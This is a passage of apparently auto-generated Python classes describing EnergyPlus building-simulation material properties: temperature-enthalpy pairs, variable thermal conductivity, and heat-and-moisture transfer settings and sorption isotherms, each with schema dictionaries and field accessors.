Returns: float: the value of `enthalpy_7` or None if not set """ return self["Enthalpy 7"] @enthalpy_7.setter def enthalpy_7(self, value=None): """Corresponds to IDD field `Enthalpy 7`""" self["Enthalpy 7"] = value @property def temperature_8(self): """field `Temperature 8` | for Temperature-enthalpy function | Units: C Args: value (float): value for IDD Field `Temperature 8` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_8` or None if not set """ return self["Temperature 8"] @temperature_8.setter def temperature_8(self, value=None): """Corresponds to IDD field `Temperature 8`""" self["Temperature 8"] = value @property def enthalpy_8(self): """field `Enthalpy 8` | for Temperature-enthalpy function corresponding to temperature 8 | Units: J/kg Args: value (float): value for IDD Field `Enthalpy 8` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `enthalpy_8` or None if not set """ return self["Enthalpy 8"] @enthalpy_8.setter def enthalpy_8(self, value=None): """Corresponds to IDD field `Enthalpy 8`""" self["Enthalpy 8"] = value @property def temperature_9(self): """field `Temperature 9` | for Temperature-enthalpy function | Units: C Args: value (float): value for IDD Field `Temperature 9` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_9` or None if not set """ return self["Temperature 9"] @temperature_9.setter def temperature_9(self, value=None): """Corresponds to IDD field `Temperature 9`""" self["Temperature 9"] = value @property def enthalpy_9(self): """field `Enthalpy 9` | for Temperature-enthalpy function corresponding to temperature 1 | Units: J/kg Args: value (float): value for IDD Field `Enthalpy 9` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `enthalpy_9` or None if not set """ return self["Enthalpy 9"] @enthalpy_9.setter def enthalpy_9(self, value=None): """Corresponds to IDD field `Enthalpy 9`""" self["Enthalpy 9"] = value @property def temperature_10(self): """field `Temperature 10` | for Temperature-enthalpy function | Units: C Args: value (float): value for IDD Field `Temperature 10` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_10` or None if not set """ return self["Temperature 10"] @temperature_10.setter def temperature_10(self, value=None): """Corresponds to IDD field `Temperature 10`""" self["Temperature 10"] = value @property def enthalpy_10(self): """field `Enthalpy 10` | for Temperature-enthalpy function corresponding to temperature 2 | Units: J/kg Args: value (float): value for IDD Field `Enthalpy 10` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `enthalpy_10` or None if not set """ return self["Enthalpy 10"] @enthalpy_10.setter def enthalpy_10(self, value=None): """Corresponds to IDD field `Enthalpy 10`""" self["Enthalpy 10"] = value @property def temperature_11(self): """field `Temperature 11` | for Temperature-enthalpy function | Units: C Args: value (float): value for IDD Field `Temperature 11` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_11` or None if not set """ return self["Temperature 11"] @temperature_11.setter def temperature_11(self, value=None): """Corresponds to IDD field `Temperature 11`""" self["Temperature 11"] = value @property def enthalpy_11(self): """field `Enthalpy 11` | for Temperature-enthalpy function corresponding to temperature 3 | Units: J/kg Args: value (float): value for IDD Field `Enthalpy 11` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `enthalpy_11` or None if not set """ return self["Enthalpy 11"] @enthalpy_11.setter def enthalpy_11(self, value=None): """Corresponds to IDD field `Enthalpy 11`""" self["Enthalpy 11"] = value @property def temperature_12(self): """field `Temperature 12` | for Temperature-enthalpy function | Units: C Args: value (float): value for IDD Field `Temperature 12` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_12` or None if not set """ return self["Temperature 12"] @temperature_12.setter def temperature_12(self, value=None): """Corresponds to IDD field `Temperature 12`""" self["Temperature 12"] = value @property def enthalpy_12(self): """field `Enthalpy 12` | for Temperature-enthalpy function corresponding to temperature 14 | Units: J/kg Args: value (float): value for IDD Field `Enthalpy 12` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `enthalpy_12` or None if not set """ return self["Enthalpy 12"] @enthalpy_12.setter def enthalpy_12(self, value=None): """Corresponds to IDD field `Enthalpy 12`""" self["Enthalpy 12"] = value @property def temperature_13(self): """field `Temperature 13` | for Temperature-enthalpy function | Units: C Args: value (float): value for IDD Field `Temperature 13` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_13` or None if not set """ return self["Temperature 13"] @temperature_13.setter def temperature_13(self, value=None): """Corresponds to IDD field `Temperature 13`""" self["Temperature 13"] = value @property def enthalpy_13(self): """field `Enthalpy 13` | for Temperature-enthalpy function corresponding to temperature 15 | Units: J/kg Args: value (float): value for IDD Field `Enthalpy 13` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `enthalpy_13` or None if not set """ return self["Enthalpy 13"] @enthalpy_13.setter def enthalpy_13(self, value=None): """Corresponds to IDD field `Enthalpy 13`""" self["Enthalpy 13"] = value @property def temperature_14(self): """field `Temperature 14` | for Temperature-enthalpy function | Units: C Args: value (float): value for IDD Field `Temperature 14` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_14` or None if not set """ return self["Temperature 14"] @temperature_14.setter def temperature_14(self, value=None): """Corresponds to IDD field `Temperature 14`""" self["Temperature 14"] = value @property def enthalpy_14(self): """field `Enthalpy 14` | for Temperature-enthalpy function corresponding to temperature 16 | Units: J/kg Args: value (float): value for IDD Field `Enthalpy 14` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `enthalpy_14` or None if not set """ return self["Enthalpy 14"] @enthalpy_14.setter def enthalpy_14(self, value=None): """Corresponds to IDD field `Enthalpy 14`""" self["Enthalpy 14"] = value @property def temperature_15(self): """field `Temperature 15` | for Temperature-enthalpy function | Units: C Args: value (float): value for IDD Field `Temperature 15` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_15` or None if not set """ return self["Temperature 15"] @temperature_15.setter def temperature_15(self, value=None): """Corresponds to IDD field `Temperature 15`""" self["Temperature 15"] = value @property def enthalpy_15(self): """field `Enthalpy 15` | for Temperature-enthalpy function corresponding to temperature 17 | Units: J/kg Args: value (float): value for IDD Field `Enthalpy 15` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `enthalpy_15` or None if not set """ return self["Enthalpy 15"] @enthalpy_15.setter def enthalpy_15(self, value=None): """Corresponds to IDD field `Enthalpy 15`""" self["Enthalpy 15"] = value @property def temperature_16(self): """field `Temperature 16` | for Temperature-enthalpy function | Units: C Args: value (float): value for IDD Field `Temperature 16` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_16` or None if not set """ return self["Temperature 16"] @temperature_16.setter def temperature_16(self, value=None): """Corresponds to IDD field `Temperature 16`""" self["Temperature 16"] = value @property def enthalpy_16(self): """field `Enthalpy 16` | for Temperature-enthalpy function corresponding to temperature 16 | Units: J/kg Args: value (float): value for IDD Field `Enthalpy 16` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `enthalpy_16` or None if not set """ return self["Enthalpy 16"] @enthalpy_16.setter def enthalpy_16(self, value=None): """Corresponds to IDD field `Enthalpy 16`""" self["Enthalpy 16"] = value class MaterialPropertyVariableThermalConductivity(DataObject): """ Corresponds to IDD object `MaterialProperty:VariableThermalConductivity` Additional properties for temperature dependent thermal conductivity using piecewise linear temperature-conductivity function. HeatBalanceAlgorithm = CondFD(ConductionFiniteDifference) solution algorithm only. Has no effect with other HeatBalanceAlgorithm solution algorithms """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'temperature 1', {'name': u'Temperature 1', 'pyname': u'temperature_1', 'default': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'thermal conductivity 1', {'name': u'Thermal Conductivity 1', 'pyname': u'thermal_conductivity_1', 'default': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'temperature 2', {'name': u'Temperature 2', 'pyname': u'temperature_2', 'default': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'thermal conductivity 2', {'name': u'Thermal Conductivity 2', 'pyname': u'thermal_conductivity_2', 'default': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'temperature 3', {'name': u'Temperature 3', 'pyname': u'temperature_3', 'default': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'thermal conductivity 3', {'name': u'Thermal Conductivity 3', 'pyname': u'thermal_conductivity_3', 'default': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'temperature 4', {'name': u'Temperature 4', 'pyname': u'temperature_4', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'thermal conductivity 4', {'name': u'Thermal Conductivity 4', 'pyname': u'thermal_conductivity_4', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'temperature 5', {'name': u'Temperature 5', 'pyname': u'temperature_5', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'thermal conductivity 5', {'name': u'Thermal Conductivity 5', 'pyname': u'thermal_conductivity_5', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'temperature 6', {'name': u'Temperature 6', 'pyname': u'temperature_6', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'thermal conductivity 6', {'name': u'Thermal Conductivity 6', 'pyname': u'thermal_conductivity_6', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'temperature 7', {'name': u'Temperature 7', 'pyname': u'temperature_7', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'thermal conductivity 7', {'name': u'Thermal Conductivity 7', 'pyname': u'thermal_conductivity_7', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'temperature 8', {'name': u'Temperature 8', 'pyname': u'temperature_8', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'thermal conductivity 8', {'name': u'Thermal Conductivity 8', 'pyname': u'thermal_conductivity_8', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'temperature 9', {'name': u'Temperature 9', 'pyname': u'temperature_9', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'thermal conductivity 9', {'name': u'Thermal Conductivity 9', 'pyname': u'thermal_conductivity_9', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'temperature 10', {'name': u'Temperature 10', 'pyname': u'temperature_10', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'thermal conductivity 10', {'name': u'Thermal Conductivity 10', 'pyname': u'thermal_conductivity_10', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'MaterialProperty:VariableThermalConductivity', 'pyname': u'MaterialPropertyVariableThermalConductivity', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` | Regular Material Name to which the additional properties will be added. | this the material name for the basic material properties. Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def temperature_1(self): """field `Temperature 1` | for Temperature-Thermal Conductivity function | Units: C Args: value (float): value for IDD Field `Temperature 1` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_1` or None if not set """ return self["Temperature 1"] @temperature_1.setter def temperature_1(self, value=None): """Corresponds to IDD field `Temperature 1`""" self["Temperature 1"] = value @property def thermal_conductivity_1(self): """field `Thermal Conductivity 1` | for Temperature-Thermal Conductivity function corresponding to temperature 1 | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 1` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_1` or None if not set """ return self["Thermal Conductivity 1"] @thermal_conductivity_1.setter def thermal_conductivity_1(self, value=None): """Corresponds to IDD field `Thermal Conductivity 1`""" self["Thermal Conductivity 1"] = value @property def temperature_2(self): """field `Temperature 2` | for Temperature-Thermal Conductivity function | Units: C Args: value (float): value for IDD Field `Temperature 2` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_2` or None if not set """ return self["Temperature 2"] @temperature_2.setter def temperature_2(self, value=None): """Corresponds to IDD field `Temperature 2`""" self["Temperature 2"] = value @property def thermal_conductivity_2(self): """field `Thermal Conductivity 2` | for Temperature-Thermal Conductivity function corresponding to temperature 2 | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 2` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_2` or None if not set """ return self["Thermal Conductivity 2"] @thermal_conductivity_2.setter def thermal_conductivity_2(self, value=None): """Corresponds to IDD field `Thermal Conductivity 2`""" self["Thermal Conductivity 2"] = value @property def temperature_3(self): """field `Temperature 3` | for Temperature-Thermal Conductivity function | Units: C Args: value (float): value for IDD Field `Temperature 3` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_3` or None if not set """ return self["Temperature 3"] @temperature_3.setter def temperature_3(self, value=None): """Corresponds to IDD field `Temperature 3`""" self["Temperature 3"] = value @property def thermal_conductivity_3(self): """field `Thermal Conductivity 3` | for Temperature-Thermal Conductivity function corresponding to temperature 3 | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 3` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_3` or None if not set """ return self["Thermal Conductivity 3"] @thermal_conductivity_3.setter def thermal_conductivity_3(self, value=None): """Corresponds to IDD field `Thermal Conductivity 3`""" self["Thermal Conductivity 3"] = value @property def temperature_4(self): """field `Temperature 4` | for Temperature-Thermal Conductivity function | Units: C Args: value (float): value for IDD Field `Temperature 4` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_4` or None if not set """ return self["Temperature 4"] @temperature_4.setter def temperature_4(self, value=None): """Corresponds to IDD field `Temperature 4`""" self["Temperature 4"] = value @property def thermal_conductivity_4(self): """field `Thermal Conductivity 4` | for Temperature-Thermal Conductivity function corresponding to temperature 4 | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 4` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_4` or None if not set """ return self["Thermal Conductivity 4"] @thermal_conductivity_4.setter def thermal_conductivity_4(self, value=None): """Corresponds to IDD field `Thermal Conductivity 4`""" self["Thermal Conductivity 4"] = value @property def temperature_5(self): """field `Temperature 5` | for Temperature-Thermal Conductivity function | Units: C Args: value (float): value for IDD Field `Temperature 5` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_5` or None if not set """ return self["Temperature 5"] @temperature_5.setter def temperature_5(self, value=None): """Corresponds to IDD field `Temperature 5`""" self["Temperature 5"] = value @property def thermal_conductivity_5(self): """field `Thermal Conductivity 5` | for Temperature-Thermal Conductivity function corresponding to temperature 5 | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 5` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_5` or None if not set """ return self["Thermal Conductivity 5"] @thermal_conductivity_5.setter def thermal_conductivity_5(self, value=None): """Corresponds to IDD field `Thermal Conductivity 5`""" self["Thermal Conductivity 5"] = value @property def temperature_6(self): """field `Temperature 6` | for Temperature-Thermal Conductivity function | Units: C Args: value (float): value for IDD Field `Temperature 6` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_6` or None if not set """ return self["Temperature 6"] @temperature_6.setter def temperature_6(self, value=None): """Corresponds to IDD field `Temperature 6`""" self["Temperature 6"] = value @property def thermal_conductivity_6(self): """field `Thermal Conductivity 6` | for Temperature-Thermal Conductivity function corresponding to temperature 6 | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 6` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_6` or None if not set """ return self["Thermal Conductivity 6"] @thermal_conductivity_6.setter def thermal_conductivity_6(self, value=None): """Corresponds to IDD field `Thermal Conductivity 6`""" self["Thermal Conductivity 6"] = value @property def temperature_7(self): """field `Temperature 7` | for Temperature-Thermal Conductivity function | Units: C Args: value (float): value for IDD Field `Temperature 7` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_7` or None if not set """ return self["Temperature 7"] @temperature_7.setter def temperature_7(self, value=None): """Corresponds to IDD field `Temperature 7`""" self["Temperature 7"] = value @property def thermal_conductivity_7(self): """field `Thermal Conductivity 7` | for Temperature-Thermal Conductivity function corresponding to temperature 7 | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 7` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_7` or None if not set """ return self["Thermal Conductivity 7"] @thermal_conductivity_7.setter def thermal_conductivity_7(self, value=None): """Corresponds to IDD field `Thermal Conductivity 7`""" self["Thermal Conductivity 7"] = value @property def temperature_8(self): """field `Temperature 8` | for Temperature-Thermal Conductivity function | Units: C Args: value (float): value for IDD Field `Temperature 8` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_8` or None if not set """ return self["Temperature 8"] @temperature_8.setter def temperature_8(self, value=None): """Corresponds to IDD field `Temperature 8`""" self["Temperature 8"] = value @property def thermal_conductivity_8(self): """field `Thermal Conductivity 8` | for Temperature-Thermal Conductivity function corresponding to temperature 8 | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 8` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_8` or None if not set """ return self["Thermal Conductivity 8"] @thermal_conductivity_8.setter def thermal_conductivity_8(self, value=None): """Corresponds to IDD field `Thermal Conductivity 8`""" self["Thermal Conductivity 8"] = value @property def temperature_9(self): """field `Temperature 9` | for Temperature-Thermal Conductivity function | Units: C Args: value (float): value for IDD Field `Temperature 9` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_9` or None if not set """ return self["Temperature 9"] @temperature_9.setter def temperature_9(self, value=None): """Corresponds to IDD field `Temperature 9`""" self["Temperature 9"] = value @property def thermal_conductivity_9(self): """field `Thermal Conductivity 9` | for Temperature-Thermal Conductivity function corresponding to temperature 9 | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 9` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_9` or None if not set """ return self["Thermal Conductivity 9"] @thermal_conductivity_9.setter def thermal_conductivity_9(self, value=None): """Corresponds to IDD field `Thermal Conductivity 9`""" self["Thermal Conductivity 9"] = value @property def temperature_10(self): """field `Temperature 10` | for Temperature-Thermal Conductivity function | Units: C Args: value (float): value for IDD Field `Temperature 10` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_10` or None if not set """ return self["Temperature 10"] @temperature_10.setter def temperature_10(self, value=None): """Corresponds to IDD field `Temperature 10`""" self["Temperature 10"] = value @property def thermal_conductivity_10(self): """field `Thermal Conductivity 10` | for Temperature-Thermal Conductivity function corresponding to temperature 10 | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 10` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_10` or None if not set """ return self["Thermal Conductivity 10"] @thermal_conductivity_10.setter def thermal_conductivity_10(self, value=None): """Corresponds to IDD field `Thermal Conductivity 10`""" self["Thermal Conductivity 10"] = value class MaterialPropertyHeatAndMoistureTransferSettings(DataObject): """ Corresponds to IDD object `MaterialProperty:HeatAndMoistureTransfer:Settings` HeatBalanceAlgorithm = CombinedHeatAndMoistureFiniteElement solution algorithm only. Additional material properties for surfaces. Has no effect with other HeatBalanceAlgorithm solution algorithms """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'material name', {'name': u'Material Name', 'pyname': u'material_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'porosity', {'name': u'Porosity', 'pyname': u'porosity', 'maximum': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/m3'}), (u'initial water content ratio', {'name': u'Initial Water Content Ratio', 'pyname': u'initial_water_content_ratio', 'default': 0.2, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'kg/kg'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'MaterialProperty:HeatAndMoistureTransfer:Settings', 'pyname': u'MaterialPropertyHeatAndMoistureTransferSettings', 'required-object': False, 'unique-object': False} @property def material_name(self): """field `Material Name` | Material Name that the moisture properties will be added to. | This augments material properties needed for combined heat and moisture transfer for surfaces. Args: value (str): value for IDD Field `Material Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `material_name` or None if not set """ return self["Material Name"] @material_name.setter def material_name(self, value=None): """Corresponds to IDD field `Material Name`""" self["Material Name"] = value @property def porosity(self): """field `Porosity` | Units: m3/m3 | value <= 1.0 Args: value (float): value for IDD Field `Porosity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `porosity` or None if not set """ return self["Porosity"] @porosity.setter def porosity(self, value=None): """Corresponds to IDD field `Porosity`""" self["Porosity"] = value @property def initial_water_content_ratio(self): """field `Initial Water Content Ratio` | units are the water/material density ratio at the beginning of each run period. | Units: kg/kg | Default value: 0.2 Args: value (float): value for IDD Field `Initial Water Content Ratio` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `initial_water_content_ratio` or None if not set """ return self["Initial Water Content Ratio"] @initial_water_content_ratio.setter def initial_water_content_ratio(self, value=0.2): """Corresponds to IDD field `Initial Water Content Ratio`""" self["Initial Water Content Ratio"] = value class MaterialPropertyHeatAndMoistureTransferSorptionIsotherm(DataObject): """ Corresponds to IDD object `MaterialProperty:HeatAndMoistureTransfer:SorptionIsotherm` HeatBalanceAlgorithm = CombinedHeatAndMoistureFiniteElement solution algorithm only. Relationship between moisture content and relative humidity fraction. Has no effect with other HeatBalanceAlgorithm solution algorithms """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'material name', {'name': u'Material Name', 'pyname': u'material_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'number of isotherm coordinates', {'name': u'Number of Isotherm Coordinates', 'pyname': u'number_of_isotherm_coordinates', 'maximum': 25, 'required-field': True, 'autosizable': False, 'minimum': 1, 'autocalculatable': False, 'type': u'integer'}), (u'relative humidity fraction 1', {'name': u'Relative Humidity Fraction 1', 'pyname': u'relative_humidity_fraction_1', 'maximum': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 1', {'name': u'Moisture Content 1', 'pyname': u'moisture_content_1', 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 2', {'name': u'Relative Humidity Fraction 2', 'pyname': u'relative_humidity_fraction_2', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 2', {'name': u'Moisture Content 2', 'pyname': u'moisture_content_2', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 3', {'name': u'Relative Humidity Fraction 3', 'pyname': u'relative_humidity_fraction_3', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 3', {'name': u'Moisture Content 3', 'pyname': u'moisture_content_3', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 4', {'name': u'Relative Humidity Fraction 4', 'pyname': u'relative_humidity_fraction_4', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 4', {'name': u'Moisture Content 4', 'pyname': u'moisture_content_4', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 5', {'name': u'Relative Humidity Fraction 5', 'pyname': u'relative_humidity_fraction_5', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 5', {'name': u'Moisture Content 5', 'pyname': u'moisture_content_5', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 6', {'name': u'Relative Humidity Fraction 6', 'pyname': u'relative_humidity_fraction_6', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 6', {'name': u'Moisture Content 6', 'pyname': u'moisture_content_6', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 7', {'name': u'Relative Humidity Fraction 7', 'pyname': u'relative_humidity_fraction_7', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 7', {'name': u'Moisture Content 7', 'pyname': u'moisture_content_7', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 8', {'name': u'Relative Humidity Fraction 8', 'pyname': u'relative_humidity_fraction_8', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 8', {'name': u'Moisture Content 8', 'pyname': u'moisture_content_8', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 9', {'name': u'Relative Humidity Fraction 9', 'pyname': u'relative_humidity_fraction_9', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 9', {'name': u'Moisture Content 9', 'pyname': u'moisture_content_9', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 10', {'name': u'Relative Humidity Fraction 10', 'pyname': u'relative_humidity_fraction_10', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 10', {'name': u'Moisture Content 10', 'pyname': u'moisture_content_10', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 11', {'name': u'Relative Humidity Fraction 11', 'pyname': u'relative_humidity_fraction_11', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 11', {'name': u'Moisture Content 11', 'pyname': u'moisture_content_11', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 12', {'name': u'Relative Humidity Fraction 12', 'pyname': u'relative_humidity_fraction_12', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 12', {'name': u'Moisture Content 12', 'pyname': u'moisture_content_12', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 13', {'name': u'Relative Humidity Fraction 13', 'pyname': u'relative_humidity_fraction_13', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 13', {'name': u'Moisture Content 13', 'pyname': u'moisture_content_13', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 14', {'name': u'Relative Humidity Fraction 14', 'pyname': u'relative_humidity_fraction_14', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 14', {'name': u'Moisture Content 14', 'pyname': u'moisture_content_14', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 15', {'name': u'Relative Humidity Fraction 15', 'pyname': u'relative_humidity_fraction_15', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 15', {'name': u'Moisture Content 15', 'pyname': u'moisture_content_15', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 